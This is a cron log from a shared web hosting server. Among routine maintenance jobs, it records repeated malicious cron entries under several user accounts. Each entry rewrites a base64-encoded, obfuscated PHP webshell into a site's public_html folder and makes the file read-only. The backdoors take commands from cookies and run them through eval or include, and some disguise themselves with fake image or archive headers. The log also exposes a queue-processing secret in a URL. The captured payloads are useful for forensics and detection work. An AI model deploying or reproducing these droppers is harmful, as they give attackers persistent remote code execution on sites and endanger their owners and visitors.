Apr 19 09:08:01 medusa CROND[21860]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:08:01 medusa CROND[21861]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:08:01 medusa CROND[21863]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:08:01 medusa CROND[21864]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Apr 19 09:08:01 medusa CROND[21890]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:09:01 medusa CROND[13675]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 09:09:02 medusa CROND[13770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:09:02 medusa CROND[13772]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 09:09:02 medusa CROND[13773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:09:02 medusa CROND[13776]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:09:02 medusa CROND[13778]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:09:02 medusa CROND[13779]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:09:02 medusa CROND[13782]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:09:02 medusa CROND[13780]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:09:02 medusa CROND[13783]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:09:02 medusa CROND[13784]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:09:02 medusa CROND[13785]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:09:02 medusa CROND[13802]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:10:01 medusa CROND[5152]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:10:01 medusa CROND[5155]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 09:10:01 medusa CROND[5170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:10:01 medusa CROND[5220]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:10:02 medusa CROND[5315]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 09:10:02 medusa CROND[5317]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 09:10:02 medusa CROND[5319]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 09:10:02 medusa CROND[5320]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:10:02 medusa CROND[5321]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:10:02 medusa CROND[5323]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:10:02 medusa CROND[5318]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:10:02 medusa CROND[5324]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:10:02 medusa CROND[5322]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:10:02 medusa CROND[5332]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:10:02 medusa CROND[5334]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:10:02 medusa CROND[5336]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:10:02 medusa CROND[5339]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:10:02 medusa CROND[5351]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 09:10:02 medusa CROND[5352]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:10:02 medusa CROND[5356]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:10:02 medusa CROND[5354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:10:02 medusa CROND[5358]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:10:02 medusa CROND[5360]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRf